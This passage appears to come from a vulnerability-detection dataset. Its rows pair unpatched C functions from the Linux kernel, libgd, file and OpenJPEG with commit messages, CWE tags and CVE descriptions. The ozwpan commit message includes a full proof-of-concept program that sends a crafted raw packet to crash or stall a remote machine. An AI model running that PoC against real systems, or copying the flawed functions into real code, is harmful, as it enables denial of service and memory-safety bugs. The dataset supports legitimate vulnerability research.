(long long)v, (long long)l, matched);
}
break;
case '&':
matched = (v & l) == l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "((%" INT64_T_FORMAT "x & %"
INT64_T_FORMAT "x) == %" INT64_T_FORMAT
"x) = %d\n", (unsigned long long)v,
(unsigned long long)l, (unsigned long long)l,
matched);
break;
case '^':
matched = (v & l) != l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "((%" INT64_T_FORMAT "x & %"
INT64_T_FORMAT "x) != %" INT64_T_FORMAT
"x) = %d\n", (unsigned long long)v,
(unsigned long long)l, (unsigned long long)l,
matched);
break;
default:
file_magerror(ms, "cannot happen: invalid relation `%c'",
m->reln);
return -1;
}
return matched;
}
| 22,957,534,152,900,236,000,000,000,000,000,000,000 | None | null | [
"CWE-399"
] | CVE-2014-3538 | file before 5.19 does not properly restrict the amount of data read during a regex search, which allows remote attackers to cause a denial of service (CPU consumption) via a crafted file that triggers backtracking during processing of an awk rule. NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7345. | https://nvd.nist.gov/vuln/detail/CVE-2014-3538 |
4,251 | linux | fdc81f45e9f57858da6351836507fbcf1b7583ee | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/fdc81f45e9f57858da6351836507fbcf1b7583ee | sg_start_req(): use import_iovec()
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> | 1 | sg_start_req(Sg_request *srp, unsigned char *cmd)
{
int res;
struct request *rq;
Sg_fd *sfp = srp->parentfp;
sg_io_hdr_t *hp = &srp->header;
int dxfer_len = (int) hp->dxfer_len;
int dxfer_dir = hp->dxfer_direction;
unsigned int iov_count = hp->iovec_count;
Sg_scatter_hold *req_schp = &srp->data;
Sg_scatter_hold *rsv_schp = &sfp->reserve;
struct request_queue *q = sfp->parentdp->device->request_queue;
struct rq_map_data *md, map_data;
int rw = hp->dxfer_direction == SG_DXFER_TO_DEV ? WRITE : READ;
unsigned char *long_cmdp = NULL;
SCSI_LOG_TIMEOUT(4, sg_printk(KERN_INFO, sfp->parentdp,
"sg_start_req: dxfer_len=%d\n",
dxfer_len));
if (hp->cmd_len > BLK_MAX_CDB) {
long_cmdp = kzalloc(hp->cmd_len, GFP_KERNEL);
if (!long_cmdp)
return -ENOMEM;
}
/*
* NOTE
*
* With scsi-mq enabled, there are a fixed number of preallocated
* requests equal in number to shost->can_queue. If all of the
* preallocated requests are already in use, then using GFP_ATOMIC with
* blk_get_request() will return -EWOULDBLOCK, whereas using GFP_KERNEL
* will cause blk_get_request() to sleep until an active command
* completes, freeing up a request. Neither option is ideal, but
* GFP_KERNEL is the better choice to prevent userspace from getting an
* unexpected EWOULDBLOCK.
*
* With scsi-mq disabled, blk_get_request() with GFP_KERNEL usually
* does not sleep except under memory pressure.
*/
rq = blk_get_request(q, rw, GFP_KERNEL);
if (IS_ERR(rq)) {
kfree(long_cmdp);
return PTR_ERR(rq);
}
blk_rq_set_block_pc(rq);
if (hp->cmd_len > BLK_MAX_CDB)
rq->cmd = long_cmdp;
memcpy(rq->cmd, cmd, hp->cmd_len);
rq->cmd_len = hp->cmd_len;
srp->rq = rq;
rq->end_io_data = srp;
rq->sense = srp->sense_b;
rq->retries = SG_DEFAULT_RETRIES;
if ((dxfer_len <= 0) || (dxfer_dir == SG_DXFER_NONE))
return 0;
if (sg_allow_dio && hp->flags & SG_FLAG_DIRECT_IO &&
dxfer_dir != SG_DXFER_UNKNOWN && !iov_count &&
!sfp->parentdp->device->host->unchecked_isa_dma &&
blk_rq_aligned(q, (unsigned long)hp->dxferp, dxfer_len))
md = NULL;
else
md = &map_data;
if (md) {
if (!sg_res_in_use(sfp) && dxfer_len <= rsv_schp->bufflen)
sg_link_reserve(sfp, srp, dxfer_len);
else {
res = sg_build_indirect(req_schp, sfp, dxfer_len);
if (res)
return res;
}
md->pages = req_schp->pages;
md->page_order = req_schp->page_order;
md->nr_entries = req_schp->k_use_sg;
md->offset = 0;
md->null_mapped = hp->dxferp ? 0 : 1;
if (dxfer_dir == SG_DXFER_TO_FROM_DEV)
md->from_user = 1;
else
md->from_user = 0;
}
if (unlikely(iov_count > MAX_UIOVEC))
return -EINVAL;
if (iov_count) {
int size = sizeof(struct iovec) * iov_count;
struct iovec *iov;
struct iov_iter i;
iov = memdup_user(hp->dxferp, size);
if (IS_ERR(iov))
return PTR_ERR(iov);
iov_iter_init(&i, rw, iov, iov_count,
min_t(size_t, hp->dxfer_len,
iov_length(iov, iov_count)));
res = blk_rq_map_user_iov(q, rq, md, &i, GFP_ATOMIC);
kfree(iov);
} else
res = blk_rq_map_user(q, rq, md, hp->dxferp,
hp->dxfer_len, GFP_ATOMIC);
if (!res) {
srp->bio = rq->bio;
if (!md) {
req_schp->dio_in_use = 1;
hp->info |= SG_INFO_DIRECT_IO;
}
}
return res;
}
| 66,924,822,577,657,650,000,000,000,000,000,000,000 | sg.c | 72,917,896,964,332,490,000,000,000,000,000,000,000 | [
"CWE-189"
] | CVE-2015-5707 | Integer overflow in the sg_start_req function in drivers/scsi/sg.c in the Linux kernel 2.6.x through 4.x before 4.1 allows local users to cause a denial of service or possibly have unspecified other impact via a large iov_count value in a write request. | https://nvd.nist.gov/vuln/detail/CVE-2015-5707 |
4,252 | linux | 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 | ozwpan: unchecked signed subtraction leads to DoS
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> | 1 | static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_usb_hdr *usb_hdr, int len)
{
struct oz_data *data_hdr = (struct oz_data *)usb_hdr;
switch (data_hdr->format) {
case OZ_DATA_F_MULTIPLE_FIXED: {
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
data += body->unit_size;
}
}
break;
case OZ_DATA_F_ISOC_FIXED: {
struct oz_isoc_fixed *body =
(struct oz_isoc_fixed *)data_hdr;
int data_len = len-sizeof(struct oz_isoc_fixed)+1;
int unit_size = body->unit_size;
u8 *data = body->data;
int count;
int i;
if (!unit_size)
break;
count = data_len/unit_size;
for (i = 0; i < count; i++) {
oz_hcd_data_ind(usb_ctx->hport,
body->endpoint, data, unit_size);
data += unit_size;
}
}
break;
}
}
| 236,342,740,336,501,530,000,000,000,000,000,000,000 | ozusbsvc1.c | 24,203,781,560,545,576,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2015-4002 | drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions. | https://nvd.nist.gov/vuln/detail/CVE-2015-4002 |
4,253 | linux | cde93be45a8a90d8c264c776fab63487b5038a65 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65 | dcache: Handle escaped paths in prepend_path
A rename can result in a dentry that by walking up d_parent
will never reach it's mnt_root. For lack of a better term
I call this an escaped path.
prepend_path is called by four different functions __d_path,
d_absolute_path, d_path, and getcwd.
__d_path only wants to see paths are connected to the root it passes
in. So __d_path needs prepend_path to return an error.
d_absolute_path similarly wants to see paths that are connected to
some root. Escaped paths are not connected to any mnt_root so
d_absolute_path needs prepend_path to return an error greater
than 1. So escaped paths will be treated like paths on lazily
unmounted mounts.
getcwd needs to prepend "(unreachable)" so getcwd also needs
prepend_path to return an error.
d_path is the interesting hold out. d_path just wants to print
something, and does not care about the weird cases. Which raises
the question what should be printed?
Given that <escaped_path>/<anything> should result in -ENOENT I
believe it is desirable for escaped paths to be printed as empty
paths. As there are not really any meaninful path components when
considered from the perspective of a mount tree.
So tweak prepend_path to return an empty path with an new error
code of 3 when it encounters an escaped path.
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> | 1 | static int prepend_path(const struct path *path,
const struct path *root,
char **buffer, int *buflen)
{
struct dentry *dentry;
struct vfsmount *vfsmnt;
struct mount *mnt;
int error = 0;
unsigned seq, m_seq = 0;
char *bptr;
int blen;
rcu_read_lock();
restart_mnt:
read_seqbegin_or_lock(&mount_lock, &m_seq);
seq = 0;
rcu_read_lock();
restart:
bptr = *buffer;
blen = *buflen;
error = 0;
dentry = path->dentry;
vfsmnt = path->mnt;
mnt = real_mount(vfsmnt);
read_seqbegin_or_lock(&rename_lock, &seq);
while (dentry != root->dentry || vfsmnt != root->mnt) {
struct dentry * parent;
if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) {
struct mount *parent = ACCESS_ONCE(mnt->mnt_parent);
/* Global root? */
if (mnt != parent) {
dentry = ACCESS_ONCE(mnt->mnt_mountpoint);
mnt = parent;
vfsmnt = &mnt->mnt;
continue;
}
if (!error)
error = is_mounted(vfsmnt) ? 1 : 2;
break;
}
parent = dentry->d_parent;
prefetch(parent);
error = prepend_name(&bptr, &blen, &dentry->d_name);
if (error)
break;
dentry = parent;
}
if (!(seq & 1))
rcu_read_unlock();
if (need_seqretry(&rename_lock, seq)) {
seq = 1;
goto restart;
}
done_seqretry(&rename_lock, seq);
if (!(m_seq & 1))
rcu_read_unlock();
if (need_seqretry(&mount_lock, m_seq)) {
m_seq = 1;
goto restart_mnt;
}
done_seqretry(&mount_lock, m_seq);
if (error >= 0 && bptr == *buffer) {
if (--blen < 0)
error = -ENAMETOOLONG;
else
*--bptr = '/';
}
*buffer = bptr;
*buflen = blen;
return error;
}
| 240,377,922,459,030,080,000,000,000,000,000,000,000 | dcache.c | 221,889,601,120,940,870,000,000,000,000,000,000,000 | [
"CWE-254"
] | CVE-2015-2925 | The prepend_path function in fs/dcache.c in the Linux kernel before 4.2.4 does not properly handle rename actions inside a bind mount, which allows local users to bypass an intended container protection mechanism by renaming a directory, related to a "double-chroot attack." | https://nvd.nist.gov/vuln/detail/CVE-2015-2925 |
4,256 | linux | 637b58c2887e5e57850865839cc75f59184b23d1 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1 | switch pipe_read() to copy_page_to_iter()
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> | 1 | pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
int do_wakeup;
ssize_t ret;
struct iovec *iov = (struct iovec *)_iov;
size_t total_len;
total_len = iov_length(iov, nr_segs);
/* Null read succeeds. */
if (unlikely(total_len == 0))
return 0;
do_wakeup = 0;
ret = 0;
__pipe_lock(pipe);
for (;;) {
int bufs = pipe->nrbufs;
if (bufs) {
int curbuf = pipe->curbuf;
struct pipe_buffer *buf = pipe->bufs + curbuf;
const struct pipe_buf_operations *ops = buf->ops;
void *addr;
size_t chars = buf->len;
int error, atomic;
if (chars > total_len)
chars = total_len;
error = ops->confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
if (atomic)
addr = kmap_atomic(buf->page);
else
addr = kmap(buf->page);
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
if (atomic)
kunmap_atomic(addr);
else
kunmap(buf->page);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
if (atomic) {
atomic = 0;
goto redo;
}
if (!ret)
ret = error;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* Was it a packet buffer? Clean up and exit */
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}
if (!buf->len) {
buf->ops = NULL;
ops->release(pipe, buf);
curbuf = (curbuf + 1) & (pipe->buffers - 1);
pipe->curbuf = curbuf;
pipe->nrbufs = --bufs;
do_wakeup = 1;
}
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}
if (bufs) /* More to do? */
continue;
if (!pipe->writers)
break;
if (!pipe->waiting_writers) {
/* syscall merging: Usually we must not sleep
* if O_NONBLOCK is set, or if we got some data.
* But if a writer sleeps in kernel space, then
* we can wait for that data without violating POSIX.
*/
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, POLLOUT | POLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
}
pipe_wait(pipe);
}
__pipe_unlock(pipe);
/* Signal writers asynchronously that there is more room. */
if (do_wakeup) {
wake_up_interruptible_sync_poll(&pipe->wait, POLLOUT | POLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
}
if (ret > 0)
file_accessed(filp);
return ret;
}
| 68,472,811,572,124,770,000,000,000,000,000,000,000 | pipe.c | 80,334,105,915,950,020,000,000,000,000,000,000,000 | [
"CWE-17"
] | CVE-2015-1805 | The (1) pipe_read and (2) pipe_write implementations in fs/pipe.c in the Linux kernel before 3.16 do not properly consider the side effects of failed __copy_to_user_inatomic and __copy_from_user_inatomic calls, which allows local users to cause a denial of service (system crash) or possibly gain privileges via a crafted application, aka an "I/O vector array overrun." | https://nvd.nist.gov/vuln/detail/CVE-2015-1805 |
4,257 | linux | a1d47b262952a45aae62bd49cfaf33dd76c11a2c | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/a1d47b262952a45aae62bd49cfaf33dd76c11a2c | udf: Verify symlink size before loading it
UDF specification allows arbitrarily large symlinks. However we support
only symlinks at most one block large. Check the length of the symlink
so that we don't access memory beyond end of the symlink block.
CC: stable@vger.kernel.org
Reported-by: Carl Henrik Lunde <chlunde@gmail.com>
Signed-off-by: Jan Kara <jack@suse.cz> | 1 | static int udf_symlink_filler(struct file *file, struct page *page)
{
struct inode *inode = page->mapping->host;
struct buffer_head *bh = NULL;
unsigned char *symlink;
int err = -EIO;
unsigned char *p = kmap(page);
struct udf_inode_info *iinfo;
uint32_t pos;
iinfo = UDF_I(inode);
pos = udf_block_map(inode, 0);
down_read(&iinfo->i_data_sem);
if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) {
symlink = iinfo->i_ext.i_data + iinfo->i_lenEAttr;
} else {
bh = sb_bread(inode->i_sb, pos);
if (!bh)
goto out;
symlink = bh->b_data;
}
udf_pc_to_char(inode->i_sb, symlink, inode->i_size, p);
brelse(bh);
up_read(&iinfo->i_data_sem);
SetPageUptodate(page);
kunmap(page);
unlock_page(page);
return 0;
out:
up_read(&iinfo->i_data_sem);
SetPageError(page);
kunmap(page);
unlock_page(page);
return err;
}
| 310,960,582,466,799,800,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2014-9728 | The UDF filesystem implementation in the Linux kernel before 3.18.2 does not validate certain lengths, which allows local users to cause a denial of service (buffer over-read and system crash) via a crafted filesystem image, related to fs/udf/inode.c and fs/udf/symlink.c. | https://nvd.nist.gov/vuln/detail/CVE-2014-9728 |
4,266 | libgd | c18263e0e0769faee96a5d0ee04b750c442783c6 | https://github.com/libgd/libgd | https://github.com/php/php-src/commit/c18263e0e0769faee96a5d0ee04b750c442783c6 | None | 1 | void gdImageWebpCtx (gdImagePtr im, gdIOCtx * outfile, int quantization)
{
uint8_t *argb;
int x, y;
uint8_t *p;
uint8_t *out;
size_t out_size;
if (im == NULL) {
return;
}
if (!gdImageTrueColor(im)) {
zend_error(E_ERROR, "Paletter image not supported by webp");
return;
}
if (quantization == -1) {
quantization = 80;
}
argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));
if (!argb) {
return;
}
p = argb;
for (y = 0; y < gdImageSY(im); y++) {
for (x = 0; x < gdImageSX(im); x++) {
register int c;
register char a;
c = im->tpixels[y][x];
a = gdTrueColorGetAlpha(c);
if (a == 127) {
a = 0;
} else {
a = 255 - ((a << 1) + (a >> 6));
}
*(p++) = gdTrueColorGetRed(c);
*(p++) = gdTrueColorGetGreen(c);
*(p++) = gdTrueColorGetBlue(c);
*(p++) = a;
}
}
out_size = WebPEncodeRGBA(argb, gdImageSX(im), gdImageSY(im), gdImageSX(im) * 4, quantization, &out);
if (out_size == 0) {
zend_error(E_ERROR, "gd-webp encoding failed");
goto freeargb;
}
gdPutBuf(out, out_size, outfile);
free(out);
freeargb:
gdFree(argb);
}
| 260,398,564,512,501,660,000,000,000,000,000,000,000 | None | null | [
"CWE-190"
] | CVE-2016-7568 | Integer overflow in the gdImageWebpCtx function in gd_webp.c in the GD Graphics Library (aka libgd) through 2.2.3, as used in PHP through 7.0.11, allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via crafted imagewebp and imagedestroy calls. | https://nvd.nist.gov/vuln/detail/CVE-2016-7568 |
4,267 | openjpeg | ef01f18dfc6780b776d0674ed3e7415c6ef54d24 | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/ef01f18dfc6780b776d0674ed3e7415c6ef54d24 | Cast to size_t before multiplication
Need to cast to size_t before multiplication otherwise overflow check is useless. | 1 | opj_pi_iterator_t *opj_pi_create_decode(opj_image_t *p_image,
opj_cp_t *p_cp,
OPJ_UINT32 p_tile_no)
{
/* loop */
OPJ_UINT32 pino;
OPJ_UINT32 compno, resno;
/* to store w, h, dx and dy fro all components and resolutions */
OPJ_UINT32 * l_tmp_data;
OPJ_UINT32 ** l_tmp_ptr;
/* encoding prameters to set */
OPJ_UINT32 l_max_res;
OPJ_UINT32 l_max_prec;
OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1;
OPJ_UINT32 l_dx_min,l_dy_min;
OPJ_UINT32 l_bound;
OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ;
OPJ_UINT32 l_data_stride;
/* pointers */
opj_pi_iterator_t *l_pi = 00;
opj_tcp_t *l_tcp = 00;
const opj_tccp_t *l_tccp = 00;
opj_pi_comp_t *l_current_comp = 00;
opj_image_comp_t * l_img_comp = 00;
opj_pi_iterator_t * l_current_pi = 00;
OPJ_UINT32 * l_encoding_value_ptr = 00;
/* preconditions in debug */
assert(p_cp != 00);
assert(p_image != 00);
assert(p_tile_no < p_cp->tw * p_cp->th);
/* initializations */
l_tcp = &p_cp->tcps[p_tile_no];
l_bound = l_tcp->numpocs+1;
l_data_stride = 4 * OPJ_J2K_MAXRLVLS;
l_tmp_data = (OPJ_UINT32*)opj_malloc(
l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32));
if
(! l_tmp_data)
{
return 00;
}
l_tmp_ptr = (OPJ_UINT32**)opj_malloc(
p_image->numcomps * sizeof(OPJ_UINT32 *));
if
(! l_tmp_ptr)
{
opj_free(l_tmp_data);
return 00;
}
/* memory allocation for pi */
l_pi = opj_pi_create(p_image, p_cp, p_tile_no);
if (!l_pi) {
opj_free(l_tmp_data);
opj_free(l_tmp_ptr);
return 00;
}
l_encoding_value_ptr = l_tmp_data;
/* update pointer array */
for
(compno = 0; compno < p_image->numcomps; ++compno)
{
l_tmp_ptr[compno] = l_encoding_value_ptr;
l_encoding_value_ptr += l_data_stride;
}
/* get encoding parameters */
opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr);
/* step calculations */
l_step_p = 1;
l_step_c = l_max_prec * l_step_p;
l_step_r = p_image->numcomps * l_step_c;
l_step_l = l_max_res * l_step_r;
/* set values for first packet iterator */
l_current_pi = l_pi;
/* memory allocation for include */
/* prevent an integer overflow issue */
l_current_pi->include = 00;
if (l_step_l <= (SIZE_MAX / (l_tcp->numlayers + 1U)))
{
l_current_pi->include = (OPJ_INT16*) opj_calloc((l_tcp->numlayers +1) * l_step_l, sizeof(OPJ_INT16));
}
if
(!l_current_pi->include)
{
opj_free(l_tmp_data);
opj_free(l_tmp_ptr);
opj_pi_destroy(l_pi, l_bound);
return 00;
}
/* special treatment for the first packet iterator */
l_current_comp = l_current_pi->comps;
l_img_comp = p_image->comps;
l_tccp = l_tcp->tccps;
l_current_pi->tx0 = l_tx0;
l_current_pi->ty0 = l_ty0;
l_current_pi->tx1 = l_tx1;
l_current_pi->ty1 = l_ty1;
/*l_current_pi->dx = l_img_comp->dx;*/
/*l_current_pi->dy = l_img_comp->dy;*/
l_current_pi->step_p = l_step_p;
l_current_pi->step_c = l_step_c;
l_current_pi->step_r = l_step_r;
l_current_pi->step_l = l_step_l;
/* allocation for components and number of components has already been calculated by opj_pi_create */
for
(compno = 0; compno < l_current_pi->numcomps; ++compno)
{
opj_pi_resolution_t *l_res = l_current_comp->resolutions;
l_encoding_value_ptr = l_tmp_ptr[compno];
l_current_comp->dx = l_img_comp->dx;
l_current_comp->dy = l_img_comp->dy;
/* resolutions have already been initialized */
for
(resno = 0; resno < l_current_comp->numresolutions; resno++)
{
l_res->pdx = *(l_encoding_value_ptr++);
l_res->pdy = *(l_encoding_value_ptr++);
l_res->pw = *(l_encoding_value_ptr++);
l_res->ph = *(l_encoding_value_ptr++);
++l_res;
}
++l_current_comp;
++l_img_comp;
++l_tccp;
}
++l_current_pi;
for (pino = 1 ; pino<l_bound ; ++pino )
{
l_current_comp = l_current_pi->comps;
l_img_comp = p_image->comps;
l_tccp = l_tcp->tccps;
l_current_pi->tx0 = l_tx0;
l_current_pi->ty0 = l_ty0;
l_current_pi->tx1 = l_tx1;
l_current_pi->ty1 = l_ty1;
/*l_current_pi->dx = l_dx_min;*/
/*l_current_pi->dy = l_dy_min;*/
l_current_pi->step_p = l_step_p;
l_current_pi->step_c = l_step_c;
l_current_pi->step_r = l_step_r;
l_current_pi->step_l = l_step_l;
/* allocation for components and number of components has already been calculated by opj_pi_create */
for
(compno = 0; compno < l_current_pi->numcomps; ++compno)
{
opj_pi_resolution_t *l_res = l_current_comp->resolutions;
l_encoding_value_ptr = l_tmp_ptr[compno];
l_current_comp->dx = l_img_comp->dx;
l_current_comp->dy = l_img_comp->dy;
/* resolutions have already been initialized */
for
(resno = 0; resno < l_current_comp->numresolutions; resno++)
{
l_res->pdx = *(l_encoding_value_ptr++);
l_res->pdy = *(l_encoding_value_ptr++);
l_res->pw = *(l_encoding_value_ptr++);
l_res->ph = *(l_encoding_value_ptr++);
++l_res;
}
++l_current_comp;
++l_img_comp;
++l_tccp;
}
/* special treatment*/
l_current_pi->include = (l_current_pi-1)->include;
++l_current_pi;
}
opj_free(l_tmp_data);
l_tmp_data = 00;
opj_free(l_tmp_ptr);
l_tmp_ptr = 00;
if
(l_tcp->POC)
{
opj_pi_update_decode_poc (l_pi,l_tcp,l_max_prec,l_max_res);
}
else
{
opj_pi_update_decode_not_poc(l_pi,l_tcp,l_max_prec,l_max_res);
}
return l_pi;
}
| 214,675,431,033,653,840,000,000,000,000,000,000,000 | pi.c | 155,797,594,499,992,280,000,000,000,000,000,000,000 | [
"CWE-125"
] | CVE-2016-7163 | Integer overflow in the opj_pi_create_decode function in pi.c in OpenJPEG allows remote attackers to execute arbitrary code via a crafted JP2 file, which triggers an out-of-bounds read or write. | https://nvd.nist.gov/vuln/detail/CVE-2016-7163 |
4,268 | libgd | 3c2b605d72e8b080dace1d98a6e50b46c1d12186 | https://github.com/libgd/libgd | https://github.com/libgd/libgd/commit/3c2b605d72e8b080dace1d98a6e50b46c1d12186 | bug #248, fix Out-Of-Bounds Read in read_image_tga | 1 | int read_image_tga( gdIOCtx *ctx, oTga *tga )
{
int pixel_block_size = (tga->bits / 8);
int image_block_size = (tga->width * tga->height) * pixel_block_size;
uint8_t* decompression_buffer = NULL;
unsigned char* conversion_buffer = NULL;
int buffer_caret = 0;
int bitmap_caret = 0;
int i = 0;
int j = 0;
uint8_t encoded_pixels;
if(overflow2(tga->width, tga->height)) {
return -1;
}
if(overflow2(tga->width * tga->height, pixel_block_size)) {
return -1;
}
if(overflow2(image_block_size, sizeof(int))) {
return -1;
}
/*! \todo Add more image type support.
*/
if (tga->imagetype != TGA_TYPE_RGB && tga->imagetype != TGA_TYPE_RGB_RLE)
return -1;
/*! \brief Allocate memmory for image block
* Allocate a chunk of memory for the image block to be passed into.
*/
tga->bitmap = (int *) gdMalloc(image_block_size * sizeof(int));
if (tga->bitmap == NULL)
return -1;
switch (tga->imagetype) {
case TGA_TYPE_RGB:
/*! \brief Read in uncompressed RGB TGA
* Chunk load the pixel data from an uncompressed RGB type TGA.
*/
conversion_buffer = (unsigned char *) gdMalloc(image_block_size * sizeof(unsigned char));
if (conversion_buffer == NULL) {
return -1;
}
if (gdGetBuf(conversion_buffer, image_block_size, ctx) != image_block_size) {
gd_error("gd-tga: premature end of image data\n");
gdFree(conversion_buffer);
return -1;
}
while (buffer_caret < image_block_size) {
tga->bitmap[buffer_caret] = (int) conversion_buffer[buffer_caret];
buffer_caret++;
}
gdFree(conversion_buffer);
break;
case TGA_TYPE_RGB_RLE:
/*! \brief Read in RLE compressed RGB TGA
* Chunk load the pixel data from an RLE compressed RGB type TGA.
*/
decompression_buffer = (uint8_t*) gdMalloc(image_block_size * sizeof(uint8_t));
if (decompression_buffer == NULL) {
return -1;
}
